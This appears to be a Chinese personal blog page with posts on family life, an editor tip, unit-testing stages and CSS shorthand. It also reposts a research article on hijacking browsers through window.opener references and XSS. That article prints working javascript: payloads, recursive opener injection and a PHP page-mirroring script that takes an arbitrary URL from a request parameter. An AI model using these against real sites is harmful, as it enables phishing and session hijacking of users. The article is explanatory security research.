易栈网-膘叔（Neatstudio.COM）

易栈网-膘叔

小家伙长大了

去掉博客粘贴代码后的行号

单元测试的七种境界

css 知识收集录

利用窗口引用漏洞和XSS漏洞实现浏览器劫持

日志分类

热门标签

日志归档

搜索文章

最新评论

博客信息

友情链接

上周末，老丈人他们去徐州，小家伙就由我们自己带着，当天晚上睡觉时，小家伙发现外婆不见了，伤心的在那里哭啊，大概哭了有将近一小时，怎么哄也没用。老婆急的以为生病了。没办法，抱着他下楼逛了一下，睡着了，估计是累的。

晚上又不敢睡的太沉，也算是经常爬起来看看吧。现在小家伙会翻身了，往往是竖着睡觉，翻身翻多了就变成横着睡了。老婆说自己也没有睡好。

周六上午带小家伙出去逛了逛，比较兴奋，下午去上课，晚上带着小家伙去了长风公园，逛了两小时，非常兴奋，结果还没有回家就累的睡着了。

晚上还算安静，不知道是不怕生了还是习惯了，在床上翻来翻去的就睡着了。

周日去邮局拿邮件，抱着他去，结果没走几分钟又睡着了。只能一直抱着到取回邮件。下午推车去曹扬走了走，仍然是半路就睡觉。唉，有风景不看。
下午理了个头发，结果出来小家伙看到不认识了，要抱他，急的哇哇直哭。伤心啊。。
路上被一北方口音的大姐教育了一下，说是小孩在路上不能放在车里，因为公车比较高，尾气排放都在1米以下，坐在车里，纯粹就是吃尾气。被教育的尴尬啊。听从意见，抱了会，但还是太重了，只能放在车里，走在最边上。

一天都比较安稳。
周一早上，外公来接小家伙，听到外公的声音，扑的一下子就翻过身来，头仰在被子上，盯着外公看，手也伸出来要抱。唉。。

其实，这只是一个技巧啦，
向东说，他是用zs for eclipse 用正则替换的，语句为：^[0-9]{0,2}\.
可是，如果前面有空格怎么办呢？
比如说我，就是用editplus来删除的
先把自动换行关掉，即：菜单栏中的W，如果是选中状态，点击之后变成未选中状态。快捷键为：Ctrl+Shift+W
然后就可以使用editplus的列选中功能了。
按住Alt键，用鼠标进行拖拉，就可以选中某一列了（备注：在word里面也可以进行这样的操作，这可是小技巧哦）

以前一直都在转贴taobaoQA的关于测试类的文章，对于PHP来说，很少有人用到单元测试，毕竟PHP的调试确实很方便。
但近年来，随着PHP越来越深入于做企业应用，因此对于单元测试的要求也就越来越被人放到台前。PHPUNIT都3.0了，想想看发展了多久了。
这是向东的博客上的一篇文章，不知道对各位有没有用，我是先复制下来看看。

1. 以各种借口拒绝单元测试Unit Test，比较常用的是“你没有足够的时间（进行单元测试）”。

2. 尝试单元测试并且立刻开始在自己的博客商鼓吹单元测试和测试驱动开发Test Driven Development的好处。

3. 单元测试一切。为了能够完成单元测试，而将私有private的方法和属性修改为内部internal；为了达到单元测试覆盖率100%而测试getter() 和 setter() 属性（方法）。

4. 无法忍受脆弱的单元测试，在没有弄明白是什么的时候，就匆忙转向“集成测试" integration test。

5. 发现了一种模拟 mocking 框架，并且乐于使用强制语义（strict semantics）。

6. 模拟mock所有可能模拟mocked的对象。

7. 开始真正有效单元测试。

你也可以参看如下文章：

http://www.xiangdong.org/blog/post/1665/
http://www.xiangdong.org/blog/post/1716/
http://www.xiangdong.org/blog/post/1354/

http://www.xiangdong.org/blog/visit.php?job=viewresult&sid=c642dcc3563a1ce54c5f3885b97b0105

原文在这里：http://www.xiangdong.org/blog/post/1768/

来自小程的CSS知识收集。简单，相对比较实用，不过，还是有专业的美工才是实在啊。
原文地址：http://www.cnblogs.com/chenghuichao/archive/2009/05/09/1453026.html

css的一些简写规则：

1.颜色
16进制的色彩值，如果每两位的值相同，可以缩写一半，例如：
#000000可以缩写为#000;#663399可以缩写为#639;

2.盒尺寸
通常有下面四种书写方法:

property:value1; 表示所有边都是一个值value1；
property:value1 value2; 表示top和bottom的值是value1,right和left的值是value2
property:value1 value2 value3; 表示top的值是value1，right和left的值是value2，bottom的值是value3
property:value1 value2 value3 value4; 四个值依次表示top,right,bottom,left
方便的记忆方法是顺时针，上右下左。具体应用在margin和padding的例子如下：
margin:1em 0 2em 0.5em;

3.边框(border)
边框的属性如下：

border-width:1px;
border-style:solid;
border-color:#000;
可以缩写为一句：border:1px solid #000;

语法是border:width style color;

4.背景(Backgrounds)
背景的属性如下：

background-color:#f00;
background-image:url(background.gif);
background-repeat:no-repeat;
background-attachment:fixed;
background-position:0 0;
可以缩写为一句：background:#f00 url(background.gif) no-repeat fixed 0 0;

语法是background:color image repeat attachment position;

5.你可以省略其中一个或多个属性值，如果省略，该属性值将用浏览器默认值，默认值为：

color: transparent
image: none
repeat: repeat
attachment: scroll
position: 0% 0%
6.字体(fonts)
字体的属性如下：

font-style:italic;
font-variant:small-caps;
font-weight:bold;
font-size:1em;
line-height:140%;
font-family:"Lucida Grande",sans-serif;
可以缩写为一句：font:italic small-caps bold 1em/140% "Lucida Grande",sans-serif;

注意，如果你缩写字体定义，至少要定义font-size和font-family两个值。

7.列表(lists)
取消默认的圆点和序号可以这样写list-style:none;,

list的属性如下:

list-style-type:square;
list-style-position:inside;
list-style-image:url(image.gif);
可以缩写为一句：list-style:square inside url(image.gif);

本文和上一篇一样，我主要是为了了解攻击方法才记录的。有些东西确实没有注意过。以后要多注意啊。不然，就成为别人攻击的目标了。

原文：http://hi.baidu.com/isbx/blog/item/c9baf31f5b36cd6bf724e421.html

很多断行，已经重新排版

|=---------------------------------------------------------------------------=|
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
|=------------------------=[      By rayh4c     ]=---------------------------=|
|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
|=---------------------------------------------------------------------------=|

[目录]

1. 前言
2. 同源策略简叙
3. 理解window对象的同源策略
4. 窗口引用功能中的同源策略漏洞
4.1 父窗口引用子窗口的同源策略问题
4.2 子窗口引用父窗口的同源策略问题
5. 利用窗口引用漏洞劫持浏览器
6. 利用XSS漏洞劫持浏览器
6.1 正向跨窗口劫持
6.2 反向跨窗口劫持
6.3 极度危险的跨框架窗口引用劫持
6.4 极度危险的正反向跨窗口递归劫持
6.5 完全控制浏览器
7. 后记
8. 参考

一、前言

    最近国内关于XSS漏洞的技术文档都比较少，所以决定写这篇文档，其中的很多细节和朋友们都沟通讨论很久了，其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session劫持、钓鱼、XSS WORM等主流攻击方式发展到现在，告诉了大家一个真正的跨站师是不会被条条框框所束缚，跨站师们在不断的创新，跨站师们会展示XSS漏洞的所有可能。

二、同源策略简叙

    同源策略是浏览器的安全基础，它是浏览器支持的客户端脚本的重要安全标准，我们可以从“源”上了解这一安全标准，按照W3C的标准这个“源”包括域名、协议和端口，各大浏览器都曾爆出过很多同源策略漏洞，危害程度各有不同，比如从06年开始流行至今的MS06-014网页木马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个漏洞，然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性，最终实现浏览器劫持。

三、理解window对象的同源策略

    窗口即指的是浏览器窗口，每个浏览器窗口都可以使用window对象实例来表示，window对象有很多属性和方法，写一个简单的脚本可以历遍出window对象的所有属性和方法：

JavaScript代码

for(p in window) document.write(p+"<br>");

</script>

这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容，当这些属性和方法只在一个窗口中使用并不会凸显出安全问题，但是当多个window对象开始互相引用的时候，这些属性和方法就必须遵循同源策略。

举一个简单的例子，如果在a.com的网页可以调用b.com网页window对象的属性和方法，那么跨站师就可以随便XSS互联网上任何一个网站了，所以为了避免安全问题，同源策略是必须的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试，这个脚本的效果是调用不同源的子窗口window对象的属性和方法，我们会发现location属性的值类型是空白的，这种情况太特殊了，说明不同源的父窗口引用子窗口window对象的location
属性并没有被拒绝访问。

XML/HTML代码

function allPrpos(obj) {

var props = "<table><tr><td>名称</td><td>值</td>";

for(var p in obj){

if(typeof(obj[p])=="function"){

obj[p]();

}else{

try

{

props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";

}

catch (ex)

{

props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";

}

document.write(props+"</table>");

}

function createWin() {

newWin = window.open ("http://www.google.com");

setTimeout(function(){allPrpos(newWin)},2000);

}

</script>

<button onclick='createWin()'>创建一个非同源子窗口测试</button>

四、窗口引用功能中的同源策略漏洞

4.1 父窗口引用子窗口的同源策略问题

去年我在幻影杂志发过的IE6跨域脚本漏洞，这个问题微软已经发布了ms08-058补丁修复，但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试，我们知道浏览器并没有阻止父窗口访问非同源子窗口的location属性值，我们可以使用下面的脚本进行测试，会发现父窗口可以控制非同源子窗口location属性值。

XML/HTML代码

function createWin() {

newWin = window.open ("http://www.google.com");

setTimeout(function(){newWin.location="http://www.80sec.com"},2000);

}

</script>

<button onclick='createWin()'>创建一个非同源子窗口测试</button>

4.2 子窗口引用父窗口的同源策略问题

逆向测试一次会发现子窗口引用父窗口也存在同样的问题，这里为了更方便和直观我使用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener，我们可以随意浏览一个网站点击链接打开N个网页，在这些网页的地址栏注入下面的脚本，你一定会惊奇的发现，不管同源还是非同源的父窗口都转跳到了80SEC网站。

JavaScript代码

javascript:window.opener.location = "http://www.80sec.com";void(0);

五、利用窗口引用漏洞劫持浏览器

    经过上面三个枯燥的测试，我们已经暴露了浏览器一个非常严重的安全问题，非同源的子窗口和父窗口可以互相引用控制window对象的location属性值，并没有严格遵循同源策略，那么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。

    我们打开浏览器访问互联网上的各个网站，无时无刻不在点击链接，我们点击链接想要产生的结果是去访问我们想要去的URL地址，用户的正常点击只会产生两个结果，打开新窗口或者当前窗口转跳，试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接后，打开了一个“无害”的网页，原本浏览的信任网页却已经被悄悄替换了，大家可以联想一下会产生什么可怕的后果。

    下面我写了一个劫持浏览器的小Demo，思路是获取REFERER后生成镜像页面，同时加入我们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试，将http://127.0.0.1/hjk_ref.php。

这样的链接发到任意一个网站上，点击链接打开新窗口，当所有的注意力都停滞在新窗口的时候，3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路，发挥跨站师的想象力，可以做更多的事情，所有的一切仅仅是因为点击了一个链接。

hjk_ref.php代码

<?php

if (array_key_exists("HTTP_REFERER", $_SERVER)) {

$Url_Mirror = $_SERVER["HTTP_REFERER"];

}

if(isset ($_GET['ref'])) {

echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';

}

?>

setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);

</script>

    注：各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。

六、利用XSS漏洞劫持浏览器

    延续第四部分的思路，这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为持久和非持久两种，这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期，窗口关闭后XSS漏洞的效果也就完全消失，窗口的限制一直束缚着跨站师们的发挥，我这里将和大家一起讨论跨站师的终极技巧：

6.1 正向跨窗口劫持

    大家可以先试验下hijack_open.js这个脚本，比如打开http://bbs.dvbbs.net/动网论坛主页，我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本，然后整个页面的链接就都被劫持住了，点击论坛里的任意一个链接，打开的新窗口都会被注入了一个alert对话框脚本。

hijack_open.js代码

javascript:for(i=0;i<document.links.length;i++){document.links[i].onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);

6.2 反向跨窗口劫持

    同样我们也可以在动网论坛试验，新打开任意一个版块的窗口，在地址栏里复制下面的代码使用伪协议注入hijack_opener脚本，我们会发现原来的页面被反向注入了一个alert对话框脚本。

hijack_opener.js代码

javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);

6.3 极度危险的跨框架窗口引用劫持

    非持久型XSS漏洞是在URL参数中注入脚本，一度被认为很鸡肋，一个非持久型的XSS漏洞可能出现URL参数过于冗长等缺点，下面这个window.parent.opener的跨框架窗口引用技巧就适用于所有的非持久型XSS漏洞，我们可以在一个被攻击者的信任网站上的网页里iframe一个非持久型的XSS，如下：

XML/HTML代码

在vul参数中写入下面的hijack_frame_opener脚本，跨站师就可以反向跨框架引用窗口
注入脚本。

hijack_frame_opener.js代码

window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";

</script>

6.4 极度危险的正反向跨窗口递归劫持

luoluo建议我加上了这一部分，窗口之间的引用关系可能是复杂的，我们可以通过window的opener属性链反向递归查找窗口注入XSS脚本，将互相引用过的同域窗口全部劫持，并通过异常处理规避之间跨域页面的访问异常，代码如下：

JavaScript代码

javascript:(function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);

    假设页面打开序列有A域->B域->A域的情况，通过对第二个A域页面的反向递归劫持则可以劫持B域之前的A域页面，从而实现“隔空打击”。

    同理，正向跨窗口劫持也可以实现递归劫持所有同域的链接，对每个打开的被劫持的页面执行和第一个页面一样的劫持脚本，但是正向递归没法实现反向递归的那种“隔空打击”。

    结合正向和反向的链式递归劫持，最终我们可以劫持所有的同域页面。

6.5 完全控制浏览器

    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题，而在跨站师的角度则是能够进入同源策略了，可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS漏洞在同源策略允许的范围内再跨页面注入脚本，可以不再为窗口关闭后XSS漏洞的效果消失而烦恼，劫持窗口后的跨站师们可以任意发挥，劫持表单，劫持请求，劫持输入等等，我就不再列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的，最后实现跨站师的终极目标 - 完全控制浏览器。

七、后记

    文章涉及的安全技术全部都是纯研究性质，请不要将这些技术使用在非法途径上。安全与应用永远是一个矛盾体，通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。

八、参考

1. http://en.wikipedia.org/wiki/Same_origin_policy
2. http://code.google.com/p/browsersec/wiki/Part2#Same-origin_policy_for_DOM_access
3. http://www.w3.org/TR/Window/
4. http://www.80sec.com/release/browser-hijacking.txt
5. http://www.80sec.com/all-browser-security-alert.html
6. http://www.80sec.com/ms08-058-attacks-google.html

« 2025年01月 »